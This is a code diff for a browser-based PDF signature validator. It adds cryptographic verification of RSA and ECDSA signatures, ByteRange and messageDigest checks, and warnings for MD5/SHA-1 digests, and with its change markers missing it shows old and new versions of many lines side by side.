removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = () => resetState();
fileDiv.append(infoContainer, removeBtn);
fileDisplayArea.appendChild(fileDiv);
createIcons({ icons });
fileDiv.append(infoContainer, removeBtn);
fileDisplayArea.appendChild(fileDiv);
createIcons({ icons });
}
function handleCertUpload(e: Event): void {
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handleCertFile(input.files[0]);
}
const input = e.target as HTMLInputElement;
if (input.files && input.files.length > 0) {
handleCertFile(input.files[0]);
}
}
async function handleCertFile(file: File): Promise<void> {
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
const hasValidExtension = validExtensions.some(ext => file.name.toLowerCase().endsWith(ext));
const validExtensions = ['.pem', '.crt', '.cer', '.der'];
const hasValidExtension = validExtensions.some((ext) =>
file.name.toLowerCase().endsWith(ext)
);
if (!hasValidExtension) {
showAlert('Invalid Certificate', 'Please select a .pem, .crt, .cer, or .der certificate file.');
return;
if (!hasValidExtension) {
showAlert(
'Invalid Certificate',
'Please select a .pem, .crt, .cer, or .der certificate file.'
);
return;
}
resetCertState();
state.trustedCertFile = file;
try {
const content = await file.text();
if (content.includes('-----BEGIN CERTIFICATE-----')) {
state.trustedCert = forge.pki.certificateFromPem(content);
} else {
const bytes = new Uint8Array(
(await readFileAsArrayBuffer(file)) as ArrayBuffer
);
const derString = String.fromCharCode.apply(null, Array.from(bytes));
const asn1 = forge.asn1.fromDer(derString);
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
}
updateCertDisplay();
if (state.pdfBytes) {
await validateSignatures();
}
} catch (error) {
console.error('Error parsing certificate:', error);
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
resetCertState();
state.trustedCertFile = file;
try {
const content = await file.text();
if (content.includes('-----BEGIN CERTIFICATE-----')) {
state.trustedCert = forge.pki.certificateFromPem(content);
} else {
const bytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
const derString = String.fromCharCode.apply(null, Array.from(bytes));
const asn1 = forge.asn1.fromDer(derString);
state.trustedCert = forge.pki.certificateFromAsn1(asn1);
}
updateCertDisplay();
if (state.pdfBytes) {
await validateSignatures();
}
} catch (error) {
console.error('Error parsing certificate:', error);
showAlert('Invalid Certificate', 'Failed to parse the certificate file.');
resetCertState();
}
}
}
function updateCertDisplay(): void {
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
if (!certDisplayArea || !state.trustedCertFile || !state.trustedCert) return;
certDisplayArea.innerHTML = '';
certDisplayArea.innerHTML = '';
const certDiv = document.createElement('div');
certDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const certDiv = document.createElement('div');
certDiv.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0';
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
const nameSpan = document.createElement('div');
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
const cn = state.trustedCert.subject.getField('CN');
nameSpan.textContent = cn?.value as string || state.trustedCertFile.name;
const cn = state.trustedCert.subject.getField('CN');
nameSpan.textContent = (cn?.value as string) || state.trustedCertFile.name;
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-green-400';
metaSpan.innerHTML = '<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-green-400';
metaSpan.innerHTML =
'<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
infoContainer.append(nameSpan, metaSpan);
infoContainer.append(nameSpan, metaSpan);
const removeBtn = document.createElement('button');
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = async () => {
resetCertState();
if (state.pdfBytes) {
await validateSignatures();
}
};
const removeBtn = document.createElement('button');
removeBtn.className = 'ml-4 text-red-400 hover:text-red-300 flex-shrink-0';
removeBtn.innerHTML = '<i data-lucide="trash-2" class="w-4 h-4"></i>';
removeBtn.onclick = async () => {
resetCertState();
if (state.pdfBytes) {
await validateSignatures();
}
};
certDiv.append(infoContainer, removeBtn);
certDisplayArea.appendChild(certDiv);
createIcons({ icons });
certDiv.append(infoContainer, removeBtn);
certDisplayArea.appendChild(certDiv);
createIcons({ icons });
}
async function validateSignatures(): Promise<void> {
if (!state.pdfBytes) return;
if (!state.pdfBytes) return;
showLoader('Analyzing signatures...');
showLoader('Analyzing signatures...');
try {
state.results = await validatePdfSignatures(state.pdfBytes, state.trustedCert ?? undefined);
displayResults();
} catch (error) {
console.error('Validation error:', error);
showAlert('Error', 'Failed to validate signatures. The file may be corrupted.');
} finally {
hideLoader();
}
try {
state.results = await validatePdfSignatures(
state.pdfBytes,
state.trustedCert ?? undefined
);
displayResults();
} catch (error) {
console.error('Validation error:', error);
showAlert(
'Error',
'Failed to validate signatures. The file may be corrupted.'
);
} finally {
hideLoader();
}
}
function displayResults(): void {
const resultsSection = getElement<HTMLDivElement>('results-section');
const resultsContainer = getElement<HTMLDivElement>('results-container');
const resultsSection = getElement<HTMLDivElement>('results-section');
const resultsContainer = getElement<HTMLDivElement>('results-container');
if (!resultsSection || !resultsContainer) return;
if (!resultsSection || !resultsContainer) return;
resultsContainer.innerHTML = '';
resultsSection.classList.remove('hidden');
resultsContainer.innerHTML = '';
resultsSection.classList.remove('hidden');
if (state.results.length === 0) {
resultsContainer.innerHTML = `
if (state.results.length === 0) {
resultsContainer.innerHTML = `
<div class="bg-gray-700 rounded-lg p-6 text-center border border-gray-600">
<i data-lucide="file-x" class="w-12 h-12 mx-auto mb-4 text-gray-400"></i>
<h3 class="text-lg font-semibold text-white mb-2">No Signatures Found</h3>
<p class="text-gray-400">This PDF does not contain any digital signatures.</p>
</div>
`;
createIcons({ icons });
return;
}
createIcons({ icons });
return;
}
const summaryDiv = document.createElement('div');
summaryDiv.className = 'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
const summaryDiv = document.createElement('div');
summaryDiv.className =
'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
const validCount = state.results.filter(r => r.isValid && !r.isExpired).length;
const trustVerified = state.trustedCert ? state.results.filter(r => r.isTrusted).length : 0;
const validCount = state.results.filter(
(r) => r.isValid && !r.isExpired
).length;
const trustVerified = state.trustedCert
? state.results.filter((r) => r.isTrusted).length
: 0;
let summaryHtml = `
let summaryHtml = `
<p class="text-gray-300">
<span class="font-semibold text-white">${state.results.length}</span>
signature${state.results.length > 1 ? 's' : ''} found
@@ -311,69 +337,87 @@ function displayResults(): void {
</p>
`;
if (state.trustedCert) {
summaryHtml += `
if (state.trustedCert) {
summaryHtml += `
<p class="text-xs text-gray-400 mt-1">
<i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>
Trust verification: ${trustVerified}/${state.results.length} signatures verified against custom certificate
</p>
`;
}
}
summaryDiv.innerHTML = summaryHtml;
resultsContainer.appendChild(summaryDiv);
summaryDiv.innerHTML = summaryHtml;
resultsContainer.appendChild(summaryDiv);
state.results.forEach((result, index) => {
const card = createSignatureCard(result, index);
resultsContainer.appendChild(card);
});
state.results.forEach((result, index) => {
const card = createSignatureCard(result, index);
resultsContainer.appendChild(card);
});
createIcons({ icons });
createIcons({ icons });
}
function createSignatureCard(result: SignatureValidationResult, index: number): HTMLElement {
const card = document.createElement('div');
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
function createSignatureCard(
result: SignatureValidationResult,
index: number
): HTMLElement {
const card = document.createElement('div');
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
let statusColor = 'text-green-400';
let statusIcon = 'check-circle';
let statusText = 'Valid Signature';
let statusColor = 'text-green-400';
let statusIcon = 'check-circle';
let statusText = 'Valid Signature';
if (!result.isValid) {
statusColor = 'text-red-400';
statusIcon = 'x-circle';
statusText = 'Invalid Signature';
} else if (result.isExpired) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Certificate Expired';
} else if (result.isSelfSigned) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Self-Signed Certificate';
if (!result.isValid) {
if (result.cryptoVerificationStatus === 'unsupported') {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Unverified — Unsupported Signature Algorithm';
} else {
statusColor = 'text-red-400';
statusIcon = 'x-circle';
statusText =
result.cryptoVerified === false
? 'Invalid — Cryptographic Verification Failed'
: 'Invalid Signature';
}
} else if (result.usesInsecureDigest) {
statusColor = 'text-red-400';
statusIcon = 'x-circle';
statusText = 'Insecure Digest (MD5 / SHA-1)';
} else if (result.isExpired) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Certificate Expired';
} else if (result.isSelfSigned) {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Self-Signed Certificate';
}
const formatDate = (date: Date) => {
if (!date || date.getTime() === 0) return 'Unknown';
return date.toLocaleDateString(undefined, {
year: 'numeric',
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit'
});
};
const formatDate = (date: Date) => {
if (!date || date.getTime() === 0) return 'Unknown';
return date.toLocaleDateString(undefined, {
year: 'numeric',
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit',
});
};
let trustBadge = '';
if (state.trustedCert) {
if (result.isTrusted) {
trustBadge = '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
} else {
trustBadge = '<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
}
let trustBadge = '';
if (state.trustedCert) {
if (result.isTrusted) {
trustBadge =
'<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
} else {
trustBadge =
'<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
}
}
card.innerHTML = `
card.innerHTML = `
<div class="flex items-start justify-between mb-4">
<div class="flex items-center gap-3">
<i data-lucide="${statusIcon}" class="w-6 h-6 ${statusColor}"></i>
@@ -383,12 +427,13 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div>
</div>
<div class="flex items-center">
${result.coverageStatus === 'full'
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
: result.coverageStatus === 'partial'
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
: ''
}${trustBadge}
${
result.coverageStatus === 'full'
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
: result.coverageStatus === 'partial'
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
: ''
}${trustBadge}
</div>
</div>
@@ -407,12 +452,16 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div>
</div>
${result.signatureDate ? `
${
result.signatureDate
? `
<div>
<p class="text-gray-400">Signed On</p>
<p class="text-white">${formatDate(result.signatureDate)}</p>
</div>
` : ''}
`
: ''
}
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
<div>
@@ -425,19 +474,27 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div>
</div>
${result.reason ? `
${
result.reason
? `
<div>
<p class="text-gray-400">Reason</p>
<p class="text-white">${escapeHtml(result.reason)}</p>
</div>
` : ''}
`
: ''
}
${result.location ? `
${
result.location
? `
<div>
<p class="text-gray-400">Location</p>
<p class="text-white">${escapeHtml(result.location)}</p>
</div>
` : ''}
`
: ''
}
<details class="mt-2">
<summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm">
@@ -448,22 +505,23 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
<p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p>
<p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p>
${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''}
${result.unsupportedAlgorithmReason ? `<p class="text-yellow-300">${escapeHtml(result.unsupportedAlgorithmReason)}</p>` : ''}
</div>
</details>
</div>
`;
return card;
return card;
}
function escapeHtml(str: string): string {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initializePage);
document.addEventListener('DOMContentLoaded', initializePage);
} else {
initializePage();
initializePage();
}

View File

@@ -1,6 +1,11 @@
import forge from 'node-forge';
import { ExtractedSignature, SignatureValidationResult } from '@/types';
const INSECURE_DIGEST_OIDS = new Set<string>([
'1.2.840.113549.2.5',
'1.3.14.3.2.26',
]);
export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
const signatures: ExtractedSignature[] = [];
const pdfString = new TextDecoder('latin1').decode(pdfBytes);
@@ -70,11 +75,11 @@ export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
return signatures;
}
export function validateSignature(
export async function validateSignature(
signature: ExtractedSignature,
pdfBytes: Uint8Array,
trustedCert?: forge.pki.Certificate
): SignatureValidationResult {
): Promise<SignatureValidationResult> {
const result: SignatureValidationResult = {
signatureIndex: signature.index,
isValid: false,
@@ -104,7 +109,10 @@ export function validateSignature(
asn1
) as forge.pkcs7.PkcsSignedData & {
rawCapture?: {
authenticatedAttributes?: Array<{ type: string; value: Date }>;
digestAlgorithm?: string;
authenticatedAttributes?: forge.asn1.Asn1[];
signature?: string;
signatureAlgorithm?: forge.asn1.Asn1[];
};
};
@@ -161,21 +169,47 @@ export function validateSignature(
}
}
const signerInfoFields = extractSignerInfoFields(p7);
const digestOid = signerInfoFields?.digestOid;
result.algorithms = {
digest: getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
digest:
(digestOid && getDigestAlgorithmName(digestOid)) ||
getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
signature: getSignatureAlgorithmName(signerCert.signatureOid || ''),
};
if (digestOid && INSECURE_DIGEST_OIDS.has(digestOid)) {
result.usesInsecureDigest = true;
}
// Parse signing time if available in signature
if (signature.signingTime) {
result.signatureDate = new Date(signature.signingTime);
} else {
// Try to extract from authenticated attributes
try {
if (p7.rawCapture?.authenticatedAttributes) {
for (const attr of p7.rawCapture.authenticatedAttributes) {
if (attr.type === forge.pki.oids.signingTime) {
result.signatureDate = attr.value;
const attrs = p7.rawCapture?.authenticatedAttributes;
if (attrs) {
for (const attrNode of attrs) {
const attrChildren = attrNode.value;
if (!Array.isArray(attrChildren) || attrChildren.length < 2)
continue;
const oidNode = attrChildren[0];
const setNode = attrChildren[1];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
const oid = forge.asn1.derToOid(oidNode.value as string);
if (oid === forge.pki.oids.signingTime) {
const setValue = setNode?.value;
if (Array.isArray(setValue) && setValue[0]) {
const timeNode = setValue[0];
const timeStr = timeNode.value as string;
if (typeof timeStr === 'string' && timeStr.length > 0) {
result.signatureDate =
timeNode.type === forge.asn1.Type.UTCTIME
? forge.asn1.utcTimeToDate(timeStr)
: forge.asn1.generalizedTimeToDate(timeStr);
}
}
break;
}
}
@@ -190,7 +224,6 @@ export function validateSignature(
if (signature.byteRange && signature.byteRange.length === 4) {
const [, len1, start2, len2] = signature.byteRange;
const totalCovered = len1 + len2;
const expectedEnd = start2 + len2;
if (expectedEnd === pdfBytes.length) {
@@ -200,7 +233,27 @@ export function validateSignature(
}
}
result.isValid = true;
const verification = await performCryptoVerification(
p7,
pdfBytes,
signature.byteRange,
signerCert,
signerInfoFields
);
result.cryptoVerified = verification.status === 'verified';
result.cryptoVerificationStatus = verification.status;
if (verification.status === 'unsupported') {
result.unsupportedAlgorithmReason = verification.reason;
} else if (verification.status === 'failed') {
result.errorMessage =
verification.reason || 'Cryptographic verification failed';
}
result.isValid =
verification.status === 'verified' &&
result.coverageStatus !== 'unknown' &&
!result.usesInsecureDigest;
} catch (e) {
result.errorMessage =
e instanceof Error ? e.message : 'Failed to parse signature';
@@ -214,7 +267,9 @@ export async function validatePdfSignatures(
trustedCert?: forge.pki.Certificate
): Promise<SignatureValidationResult[]> {
const signatures = extractSignatures(pdfBytes);
return signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert));
return Promise.all(
signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert))
);
}
export function countSignatures(pdfBytes: Uint8Array): number {
@@ -262,3 +317,490 @@ function getSignatureAlgorithmName(oid: string): string {
};
return signatureAlgorithms[oid] || oid || 'Unknown';
}
interface SignerInfoFields {
digestOid: string;
authAttrs: forge.asn1.Asn1[] | null;
signatureBytes: string;
}
function extractSignerInfoFields(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: {
digestAlgorithm?: string;
authenticatedAttributes?: forge.asn1.Asn1[];
signature?: string;
};
}
): SignerInfoFields | null {
const rc = p7.rawCapture;
if (!rc) return null;
const digestAlgorithmBytes = rc.digestAlgorithm;
const signatureBytes = rc.signature;
if (typeof digestAlgorithmBytes !== 'string' || !signatureBytes) return null;
return {
digestOid: forge.asn1.derToOid(digestAlgorithmBytes),
authAttrs: Array.isArray(rc.authenticatedAttributes)
? rc.authenticatedAttributes
: null,
signatureBytes,
};
}
function createMd(digestOid: string): forge.md.MessageDigest | null {
switch (digestOid) {
case forge.pki.oids.sha256:
return forge.md.sha256.create();
case forge.pki.oids.sha384:
return forge.md.sha384.create();
case forge.pki.oids.sha512:
return forge.md.sha512.create();
case forge.pki.oids.sha1:
return forge.md.sha1.create();
case forge.pki.oids.md5:
return forge.md.md5.create();
default:
return null;
}
}
function uint8ToLatin1(bytes: Uint8Array): string {
let out = '';
for (let i = 0; i < bytes.length; i++) {
out += String.fromCharCode(bytes[i]);
}
return out;
}
type CryptoVerificationResult =
| { status: 'verified' }
| { status: 'failed'; reason: string }
| { status: 'unsupported'; reason: string };
interface SigScheme {
kind: 'rsa-pkcs1' | 'rsa-pss' | 'ecdsa' | 'rsa-raw';
hashName: 'SHA-1' | 'SHA-256' | 'SHA-384' | 'SHA-512';
pssSaltLength?: number;
}
function latin1ToUint8(str: string): Uint8Array {
const out = new Uint8Array(str.length);
for (let i = 0; i < str.length; i++) out[i] = str.charCodeAt(i);
return out;
}
function hashNameFromOid(oid: string): SigScheme['hashName'] | null {
switch (oid) {
case '1.3.14.3.2.26':
return 'SHA-1';
case '2.16.840.1.101.3.4.2.1':
return 'SHA-256';
case '2.16.840.1.101.3.4.2.2':
return 'SHA-384';
case '2.16.840.1.101.3.4.2.3':
return 'SHA-512';
default:
return null;
}
}
function detectSigScheme(
signatureAlgorithmArr: forge.asn1.Asn1[] | undefined,
digestOid: string
): SigScheme | { unsupported: string } {
if (!signatureAlgorithmArr || signatureAlgorithmArr.length === 0) {
return { unsupported: 'Missing signatureAlgorithm' };
}
const oidNode = signatureAlgorithmArr[0];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) {
return { unsupported: 'Malformed signatureAlgorithm' };
}
const oid = forge.asn1.derToOid(oidNode.value as string);
const implicitHash = hashNameFromOid(digestOid);
switch (oid) {
case '1.2.840.113549.1.1.1':
return implicitHash
? { kind: 'rsa-pkcs1', hashName: implicitHash }
: { unsupported: `Unsupported digest OID ${digestOid}` };
case '1.2.840.113549.1.1.5':
return { kind: 'rsa-pkcs1', hashName: 'SHA-1' };
case '1.2.840.113549.1.1.11':
return { kind: 'rsa-pkcs1', hashName: 'SHA-256' };
case '1.2.840.113549.1.1.12':
return { kind: 'rsa-pkcs1', hashName: 'SHA-384' };
case '1.2.840.113549.1.1.13':
return { kind: 'rsa-pkcs1', hashName: 'SHA-512' };
case '1.2.840.113549.1.1.10': {
const params = parsePssParams(signatureAlgorithmArr[1]);
return {
kind: 'rsa-pss',
hashName: params.hashName,
pssSaltLength: params.saltLength,
};
}
case '1.2.840.10045.4.1':
return { kind: 'ecdsa', hashName: 'SHA-1' };
case '1.2.840.10045.4.3.2':
return { kind: 'ecdsa', hashName: 'SHA-256' };
case '1.2.840.10045.4.3.3':
return { kind: 'ecdsa', hashName: 'SHA-384' };
case '1.2.840.10045.4.3.4':
return { kind: 'ecdsa', hashName: 'SHA-512' };
case '1.2.840.10045.2.1':
return implicitHash
? { kind: 'ecdsa', hashName: implicitHash }
: { unsupported: `Unsupported digest OID ${digestOid}` };
default:
return { unsupported: `Unsupported signature algorithm OID ${oid}` };
}
}
function parsePssParams(paramsNode: forge.asn1.Asn1 | undefined): {
hashName: SigScheme['hashName'];
saltLength: number;
} {
const fallback = { hashName: 'SHA-1' as const, saltLength: 20 };
if (!paramsNode || !Array.isArray(paramsNode.value)) return fallback;
let hashName: SigScheme['hashName'] = 'SHA-1';
let saltLength = 20;
for (const item of paramsNode.value) {
if (item.tagClass !== forge.asn1.Class.CONTEXT_SPECIFIC) continue;
if (item.type === 0 && Array.isArray(item.value) && item.value[0]) {
const algoIdSeq = item.value[0];
if (Array.isArray(algoIdSeq.value) && algoIdSeq.value[0]) {
const hashOid = forge.asn1.derToOid(algoIdSeq.value[0].value as string);
const resolved = hashNameFromOid(hashOid);
if (resolved) hashName = resolved;
}
} else if (item.type === 2 && typeof item.value === 'string') {
let n = 0;
for (let i = 0; i < item.value.length; i++) {
n = (n << 8) | item.value.charCodeAt(i);
}
if (n > 0 && n < 1024) saltLength = n;
}
}
return { hashName, saltLength };
}
function extractSpkiDer(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: { certificates?: forge.asn1.Asn1 };
}
): Uint8Array | null {
try {
const certsNode = p7.rawCapture?.certificates;
if (!certsNode || !Array.isArray(certsNode.value) || !certsNode.value[0]) {
return null;
}
const certAsn1 = certsNode.value[0];
if (!Array.isArray(certAsn1.value) || !certAsn1.value[0]) return null;
const tbs = certAsn1.value[0];
if (!Array.isArray(tbs.value)) return null;
let startIdx = 0;
if (
tbs.value[0] &&
tbs.value[0].tagClass === forge.asn1.Class.CONTEXT_SPECIFIC
) {
startIdx = 1;
}
const spkiAsn1 = tbs.value[startIdx + 5];
if (!spkiAsn1) return null;
return latin1ToUint8(forge.asn1.toDer(spkiAsn1).getBytes());
} catch {
return null;
}
}
function curveFromSpki(
spkiDer: Uint8Array
): { name: 'P-256' | 'P-384' | 'P-521'; coordBytes: number } | null {
try {
const spki = forge.asn1.fromDer(uint8ToLatin1(spkiDer));
if (!Array.isArray(spki.value) || !spki.value[0]) return null;
const algoId = spki.value[0];
if (!Array.isArray(algoId.value) || !algoId.value[1]) return null;
const params = algoId.value[1];
if (params.type !== forge.asn1.Type.OID) return null;
const oid = forge.asn1.derToOid(params.value as string);
if (oid === '1.2.840.10045.3.1.7') return { name: 'P-256', coordBytes: 32 };
if (oid === '1.3.132.0.34') return { name: 'P-384', coordBytes: 48 };
if (oid === '1.3.132.0.35') return { name: 'P-521', coordBytes: 66 };
return null;
} catch {
return null;
}
}
function ecdsaDerToP1363(
derSig: Uint8Array,
coordBytes: number
): Uint8Array | null {
try {
const parsed = forge.asn1.fromDer(uint8ToLatin1(derSig));
if (!Array.isArray(parsed.value) || parsed.value.length !== 2) return null;
const r = latin1ToUint8(parsed.value[0].value as string);
const s = latin1ToUint8(parsed.value[1].value as string);
const rStripped = r[0] === 0 && r.length > 1 ? r.slice(1) : r;
const sStripped = s[0] === 0 && s.length > 1 ? s.slice(1) : s;
if (rStripped.length > coordBytes || sStripped.length > coordBytes) {
return null;
}
const out = new Uint8Array(coordBytes * 2);
out.set(rStripped, coordBytes - rStripped.length);
out.set(sStripped, coordBytes * 2 - sStripped.length);
return out;
} catch {
return null;
}
}
async function verifyViaWebCrypto(
scheme: SigScheme,
spkiDer: Uint8Array,
signedBytes: Uint8Array,
signatureBytes: Uint8Array
): Promise<CryptoVerificationResult> {
const subtle =
typeof globalThis.crypto !== 'undefined' && globalThis.crypto.subtle
? globalThis.crypto.subtle
: null;
if (!subtle) {
return {
status: 'unsupported',
reason: 'Web Crypto API not available in this context',
};
}
const spki = new Uint8Array(spkiDer);
const signed = new Uint8Array(signedBytes);
const sig = new Uint8Array(signatureBytes);
try {
if (scheme.kind === 'rsa-pss') {
const key = await subtle.importKey(
'spki',
spki,
{ name: 'RSA-PSS', hash: scheme.hashName },
false,
['verify']
);
const ok = await subtle.verify(
{ name: 'RSA-PSS', saltLength: scheme.pssSaltLength ?? 32 },
key,
sig,
signed
);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason:
'RSA-PSS signature does not verify against signer public key',
};
}
if (scheme.kind === 'ecdsa') {
const curve = curveFromSpki(spki);
if (!curve) {
return {
status: 'unsupported',
reason: 'Unsupported ECDSA curve in signer certificate',
};
}
const p1363 = ecdsaDerToP1363(sig, curve.coordBytes);
if (!p1363) {
return {
status: 'failed',
reason: 'Malformed ECDSA signature (could not parse r,s)',
};
}
const key = await subtle.importKey(
'spki',
spki,
{ name: 'ECDSA', namedCurve: curve.name },
false,
['verify']
);
const ok = await subtle.verify(
{ name: 'ECDSA', hash: scheme.hashName },
key,
new Uint8Array(p1363),
signed
);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason: 'ECDSA signature does not verify against signer public key',
};
}
if (scheme.kind === 'rsa-pkcs1') {
const key = await subtle.importKey(
'spki',
spki,
{ name: 'RSASSA-PKCS1-v1_5', hash: scheme.hashName },
false,
['verify']
);
const ok = await subtle.verify('RSASSA-PKCS1-v1_5', key, sig, signed);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason:
'RSA-PKCS1 signature does not verify against signer public key',
};
}
return {
status: 'unsupported',
reason: `Signature scheme ${scheme.kind} not implemented`,
};
} catch (e) {
return {
status: 'unsupported',
reason:
'Web Crypto import/verify failed: ' +
(e instanceof Error ? e.message : String(e)),
};
}
}
async function performCryptoVerification(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: {
signatureAlgorithm?: forge.asn1.Asn1[];
certificates?: forge.asn1.Asn1;
};
},
pdfBytes: Uint8Array,
byteRange: number[],
signerCert: forge.pki.Certificate,
fields: SignerInfoFields | null
): Promise<CryptoVerificationResult> {
if (!fields) {
return { status: 'failed', reason: 'Could not parse signer info' };
}
if (byteRange.length !== 4) {
return { status: 'failed', reason: 'Malformed ByteRange' };
}
const md = createMd(fields.digestOid);
if (!md) {
return {
status: 'unsupported',
reason: `Unsupported digest OID ${fields.digestOid}`,
};
}
const [start1, len1, start2, len2] = byteRange;
if (
start1 < 0 ||
len1 < 0 ||
start2 < 0 ||
len2 < 0 ||
start1 + len1 > pdfBytes.length ||
start2 + len2 > pdfBytes.length
) {
return { status: 'failed', reason: 'ByteRange out of bounds' };
}
const signedContent = new Uint8Array(len1 + len2);
signedContent.set(pdfBytes.subarray(start1, start1 + len1), 0);
signedContent.set(pdfBytes.subarray(start2, start2 + len2), len1);
md.update(uint8ToLatin1(signedContent));
const contentHashBytes = md.digest().bytes();
const authAttrs = fields.authAttrs;
const signatureBytes = fields.signatureBytes;
if (!signatureBytes) {
return { status: 'failed', reason: 'Empty signature bytes' };
}
const scheme = detectSigScheme(
p7.rawCapture?.signatureAlgorithm,
fields.digestOid
);
if ('unsupported' in scheme) {
return { status: 'unsupported', reason: scheme.unsupported };
}
let messageDigestAttrValue: string | null = null;
let signedBytesForVerify: Uint8Array;
if (authAttrs) {
for (const attr of authAttrs) {
if (!attr.value || !Array.isArray(attr.value) || attr.value.length < 2)
continue;
const oidNode = attr.value[0];
const setNode = attr.value[1];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
const oid = forge.asn1.derToOid(oidNode.value as string);
if (oid === forge.pki.oids.messageDigest) {
if (
setNode?.value &&
Array.isArray(setNode.value) &&
setNode.value[0]
) {
messageDigestAttrValue = setNode.value[0].value as string;
}
break;
}
}
if (messageDigestAttrValue === null) {
return {
status: 'failed',
reason: 'messageDigest attribute missing from authenticated attributes',
};
}
if (messageDigestAttrValue !== contentHashBytes) {
return {
status: 'failed',
reason:
'Content hash does not match messageDigest attribute — PDF was modified after signing',
};
}
const asSet = forge.asn1.create(
forge.asn1.Class.UNIVERSAL,
forge.asn1.Type.SET,
true,
authAttrs
);
signedBytesForVerify = latin1ToUint8(forge.asn1.toDer(asSet).getBytes());
} else {
signedBytesForVerify = signedContent;
}
if (scheme.kind === 'rsa-pkcs1') {
try {
const publicKey = signerCert.publicKey as forge.pki.rsa.PublicKey;
const md2 = createMd(fields.digestOid)!;
md2.update(uint8ToLatin1(signedBytesForVerify));
const ok = publicKey.verify(md2.digest().bytes(), signatureBytes);
if (ok) return { status: 'verified' };
} catch {
// fall through to Web Crypto
}
}
const spkiDer = extractSpkiDer(p7);
if (!spkiDer) {
return {
status: 'unsupported',
reason: 'Could not extract signer public key',
};
}
return verifyViaWebCrypto(
scheme,
spkiDer,
signedBytesForVerify,
latin1ToUint8(signatureBytes)
);
}

View File

@@ -1,4 +1,5 @@
